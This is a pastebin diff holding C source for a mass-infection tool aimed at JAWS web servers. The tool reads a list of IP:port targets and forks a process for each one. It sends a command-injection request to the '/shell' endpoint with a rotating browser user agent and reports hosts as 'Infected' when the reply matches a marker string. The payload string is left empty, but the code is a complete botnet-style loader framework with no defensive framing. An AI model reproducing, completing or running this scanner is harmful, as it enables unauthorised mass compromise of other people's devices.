View difference between Paste ID: D18iwS3X and qkQUsA7z

-
+
 
 #include <stdio.h>
 #include <string.h>
 #include <ctype.h>
 #include <errno.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 
 #define INFO "[\x1b[33m?\x1b[37m]"
 #define SUCCESS "[\x1b[32m+\x1b[37m]"
 #define ERROR "[\x1b[31m-\x1b[37m]"
 #define ARRAY_SIZE(Array) sizeof(Array) / sizeof(Array[0])
 
 const char *Payload = "";
 const char *Success = "listening tun0";
 
 const char *UserAgents[] = {
     "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16"
 };
 
 void InfectJAWS(const char* IP, int Port, int Timeout)
 {
     int Socket = -1;
     char Vulnerable = 0;
     struct sockaddr_in addr;
 
     struct timeval tv;
     tv.tv_sec = Timeout;
     tv.tv_usec = 0;
 
     char Headers[1024];
     snprintf(Headers, sizeof(Headers), "GET /shell?%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s:%d\r\n" \
         "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n",
         Payload, UserAgents[(rand() % ARRAY_SIZE(UserAgents))], IP, Port);
 
     if ((Socket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
         return;
 
     if (setsockopt(Socket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof(struct timeval)) == -1)
     {
         close(Socket);
         return;
     }
 
     addr.sin_family = AF_INET;
     addr.sin_addr.s_addr = inet_addr(IP);
     addr.sin_port = htons(Port);
 
     if (connect(Socket, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
     {
         close(Socket);
         return;
     }
 
     int Read;
     char Recieve[BUFSIZ];
 
     if (write(Socket, Headers, strlen(Headers)) >= 0)
     {
         while ((Read = read(Socket, Recieve, sizeof(Recieve))) > 0)
         {
             Recieve[Read] = '\0';
             if (strstr(Recieve, Success) != NULL)
             {
                 Vulnerable = 1;
                 break;
             }
         }
     }
 
     close(Socket);
 
     if (Vulnerable)
         printf("%s Infected %s:%d\n", SUCCESS, IP, Port);
 }
 
 char *Trim(char *str)
 {
     int i, Begin = 0;
     int End = strlen(str) - 1;
 
     while (isspace(str[Begin]))
         Begin++;
     while ((End >= Begin) && isspace(str[End]))
         End--;
     for (i = Begin; i <= End; i++)
         str[i - Begin] = str[i];
 
     str[i - Begin] = '\0';
 }
 
 int main(int argc, char const *argv[])
 {
     if (argc != 4)
     {
         printf("%s Usage: %s <max forks> <ip:port list> <timeout (in seconds)>\n", INFO, argv[0]);
         return 1;
     }
 
     int i, Forks = 0;
     char Buffer[513];
     int MaxForks = atoi(argv[1]);
     int Timeout = atoi(argv[3]);
     FILE *IPs = fopen(argv[2], "r");
 
     if (IPs == NULL)
     {
         printf("%s Failed to open \"%s\"\n", ERROR, argv[1]);
         return 1;
     }
 
     printf("%s Running with %d max forks against \"%s\" with a timeout of %d %s\n\n", INFO, MaxForks, argv[2], Timeout, (Timeout > 1 ? "seconds" : "second"));
 
     while (fgets(Buffer, sizeof(Buffer) - 1, IPs))
     {
         Trim(Buffer);
         if (strlen(Buffer) < 3)
             break;
 
         char *Token = strtok(Buffer, ":");
         for (i = 0; i < strlen(Buffer) && Buffer[i] != ':'; i++);
 
         const char *IP = Buffer;
         int Port = atoi(Buffer + i + 1);
 
         if (!(fork()))
         {
             InfectJAWS(IP, Port, Timeout);
             exit(0);
         }
         else
         {
             Forks++;
             if (Forks++ > MaxForks)
                 for (Forks; Forks > MaxForks; Forks--)
                     wait(NULL);
         }
     }
 
     return 0;
 }